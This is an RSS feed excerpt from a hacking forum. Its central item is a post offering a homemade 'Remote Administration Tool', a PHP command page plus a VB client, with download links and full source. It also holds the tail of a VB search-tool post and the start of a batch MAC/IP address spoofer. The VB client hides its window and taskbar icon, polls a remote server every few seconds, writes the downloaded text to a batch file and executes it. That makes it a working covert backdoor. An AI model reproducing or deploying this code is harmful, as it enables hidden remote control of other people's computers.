&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To results.Length - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine(results(index))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Using<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(ex.Message())<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
End Class</code></div></div>
<br />
<span style="font-size: medium;">Known Issues:</span><br />
_☐_ - None<br />
<br />
<span style="font-size: medium;">Update 1.3 Features:</span><br />
_☐_ - None<br />
<br />
<span style="font-size: medium;">Future Features:</span><br />
_☐_ - Skins<br />
_☑_ - Saved searches<br />
<br />
--<br />
I wouldn't mind 10 HC coins per download, eh?☑☐]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Remote Administration Tool]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Remote-Administration-Tool</link>
			<pubDate>Mon, 20 May 2013 21:49:55 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Remote-Administration-Tool</guid>
			<description><![CDATA[<span style="font-size: x-large;">Hack Community Remote Administration Tool</span><br />
<span style="font-size: large;">Version 1.0</span><br />
<br />
Hello Guest.<br />
I have written a RAT in PHP and VB for the community's own use.<br />
<br />
Download Links:<br />
<a href="http://static_cast.home.comcast.net/RAT.zip" target="_blank">http://static_cast.home.comcast.net/RAT.zip</a><br />
<a href="https://dl.dropboxusercontent.com/u/125590256/RAT.zip" target="_blank">https://dl.dropboxusercontent.com/u/125590256/RAT.zip</a><br />
<img src="http://s10.postimg.org/64agywd0l/clean.jpg" border="0" alt="[Image: clean.jpg]" /><br />
<a href="http://s23.postimg.org/3sqq3lpnf/clean.png" target="_blank">http://s23.postimg.org/3sqq3lpnf/clean.png</a><br />
<br />
Here is the code for both files: [TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees. <img src="images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Biggrin" title="Biggrin" />]:<br />
<br />
rat.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
if(isset(&#36;_POST['submit']))<br />
 {<br />
 &#36;text = &#36;_POST['text'];<br />
 file_put_contents("commands.txt", &#36;text);<br />
 }<br />
?&gt;<br />
<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;Hackcommunity PHP RAT&lt;/title&gt;<br />
 &lt;/head&gt;<br />
 &lt;body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white"&gt;<br />
&nbsp;&nbsp;&lt;center&gt;<br />
&nbsp;&nbsp; &lt;div style="background-color: black"&gt;&lt;img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /&gt;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;form action="#" method="POST" style="height: 520px; width: 480px"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"&gt;&lt;?php echo file_get_contents("commands.txt"); ?&gt;&lt;/textarea&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" /&gt;<br />
&nbsp;&nbsp; &lt;/form&gt;<br />
&nbsp;&nbsp;&lt;/center&gt;<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
host.exe (Just make a windows form and paste this if you have Visual Studio)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Imports System.Net<br />
Imports System.IO.StreamReader<br />
Imports System.IO.StreamWriter<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim oStrText As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim nStrText As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim commandPath As String = "commands.bat"<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim serverPath As String = "server.txt"<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim server As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Public Function LoadSiteContent(ByVal url As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim instance As WebClient = New WebClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return instance.DownloadString(url)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Function<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.Opacity = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ShowIcon = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ShowInTaskbar = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer1.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer1.Interval = 2500<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objReader As New System.IO.StreamReader(serverPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server = objReader.ReadToEnd()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReader.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(serverPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write("server to listen to")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objReader As New System.IO.StreamReader(commandPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStrText = objReader.ReadToEnd()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReader.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(commandPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write(nStrText)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nStrText = LoadSiteContent(server)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If nStrText &lt;&gt; oStrText Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStrText = nStrText<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(commandPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write(nStrText)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shell(commandPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
End Class</code></div></div>
]]></description>
			<content:encoded><![CDATA[<span style="font-size: x-large;">Hack Community Remote Administration Tool</span><br />
<span style="font-size: large;">Version 1.0</span><br />
<br />
Hello Guest.<br />
I have written a RAT in PHP and VB for the community's own use.<br />
<br />
Download Links:<br />
<a href="http://static_cast.home.comcast.net/RAT.zip" target="_blank">http://static_cast.home.comcast.net/RAT.zip</a><br />
<a href="https://dl.dropboxusercontent.com/u/125590256/RAT.zip" target="_blank">https://dl.dropboxusercontent.com/u/125590256/RAT.zip</a><br />
<img src="http://s10.postimg.org/64agywd0l/clean.jpg" border="0" alt="[Image: clean.jpg]" /><br />
<a href="http://s23.postimg.org/3sqq3lpnf/clean.png" target="_blank">http://s23.postimg.org/3sqq3lpnf/clean.png</a><br />
<br />
Here is the code for both files: [TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees. <img src="images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Biggrin" title="Biggrin" />]:<br />
<br />
rat.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
if(isset(&#36;_POST['submit']))<br />
 {<br />
 &#36;text = &#36;_POST['text'];<br />
 file_put_contents("commands.txt", &#36;text);<br />
 }<br />
?&gt;<br />
<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;Hackcommunity PHP RAT&lt;/title&gt;<br />
 &lt;/head&gt;<br />
 &lt;body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white"&gt;<br />
&nbsp;&nbsp;&lt;center&gt;<br />
&nbsp;&nbsp; &lt;div style="background-color: black"&gt;&lt;img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /&gt;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;form action="#" method="POST" style="height: 520px; width: 480px"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"&gt;&lt;?php echo file_get_contents("commands.txt"); ?&gt;&lt;/textarea&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" /&gt;<br />
&nbsp;&nbsp; &lt;/form&gt;<br />
&nbsp;&nbsp;&lt;/center&gt;<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
host.exe (Just make a windows form and paste this if you have Visual Studio)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Imports System.Net<br />
Imports System.IO.StreamReader<br />
Imports System.IO.StreamWriter<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim oStrText As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim nStrText As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim commandPath As String = "commands.bat"<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim serverPath As String = "server.txt"<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim server As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Public Function LoadSiteContent(ByVal url As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim instance As WebClient = New WebClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return instance.DownloadString(url)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Function<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.Opacity = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ShowIcon = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ShowInTaskbar = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer1.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer1.Interval = 2500<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objReader As New System.IO.StreamReader(serverPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server = objReader.ReadToEnd()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReader.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(serverPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write("server to listen to")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objReader As New System.IO.StreamReader(commandPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStrText = objReader.ReadToEnd()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReader.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(commandPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write(nStrText)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nStrText = LoadSiteContent(server)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If nStrText &lt;&gt; oStrText Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStrText = nStrText<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim objWriter As New System.IO.StreamWriter(commandPath, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Write(nStrText)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objWriter.Close()<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shell(commandPath)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
End Class</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Windows MAC address spoofer | V2.0]]></title>
			<link>http://www.hackcommunity.com/Thread-Windows-MAC-address-spoofer-V2-0</link>
			<pubDate>Fri, 17 May 2013 21:11:27 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-Windows-MAC-address-spoofer-V2-0</guid>
			<description><![CDATA[<span style="font-size: large;"><span style="color: lightgreen;">Windows MAC address spoofer</span></span><br />
<span style="color: #B0B0B0;"><span style="font-size: x-small;">You can find the old version here: <a href="http://www.hackcommunity.com/Thread-MAC-and-IP-addresses-spoofer" target="_blank"><span style="color: #94c2ff;">1.0/1.1</span></a>.</span></span><br />
<br />
<span style="font-size: medium;"><span style="color: lightgreen;">Latest version: 2.1</span></span><br />
<br />
<span style="color: lightblue;"><span style="font-weight: bold;">Change-log:</span></span><span style="font-size: x-small;"><br />
- ping option (host inside or outside the LAN with IP address or host name (e.g: - <span style="font-weight: bold;">www.google.com</span> | <span style="font-weight: bold;">noizepc</span> | <span style="font-weight: bold;">127.0.0.1</span>));<br />
- install/uninstall (after installation you can call macspoofer from any script or directory path (shell)).<br />
</span><br />
<span style="font-size: large;"><span style="color: lightgreen;">Source code</span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>@echo off<br />
pushd %~dp0<br />
<br />
:::::::::::::::::::::::::<br />
<br />
:: Mac Address Spoofer ::<br />
<br />
:::::::::::::::::::::::::<br />
<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo.<br />
<br />
set arg1=%1<br />
if /i "%arg1%"=="-help" set arg1=<br />
if defined arg1 goto arg1<br />
<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -p [HOST] ^| -s [KEY] ^| -r [KEY]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-c [CON]] [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo&nbsp;&nbsp; -p&nbsp;&nbsp; Ping an host with the host name or IP address<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume (only with -s)<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:arg1<br />
if /i "%arg1%"=="-h" goto help<br />
if /i "%arg1%"=="-d" goto ipconfig<br />
if /i "%arg1%"=="-a" goto mac<br />
if /i "%arg1%"=="-l" goto arp<br />
if /i "%arg1%"=="-m" goto assoc<br />
if /i "%arg1%"=="-p" goto ping<br />
if /i "%arg1%"=="-s" goto spoof<br />
if /i "%arg1%"=="-r" goto unspoof<br />
if /i "%arg1%"=="--install" goto install<br />
if /i "%arg1%"=="--uninst" goto uninst<br />
:err<br />
echo Syntax error^!<br />
goto end<br />
<br />
:help<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -p [HOST] ^| -s [KEY] ^| -r [KEY]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-c [CON]] [-n [MAC]] [-v]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [--install [-ow ^| --overwrite] ^| --uninst]<br />
echo.<br />
echo&nbsp;&nbsp; If no arguments are specified, a brief help message is shown<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo.<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo.<br />
echo&nbsp;&nbsp; -p&nbsp;&nbsp; Ping an host with the host name or IP address<br />
echo.<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo.<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;It should be an identifying word (it might be the whole name too)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
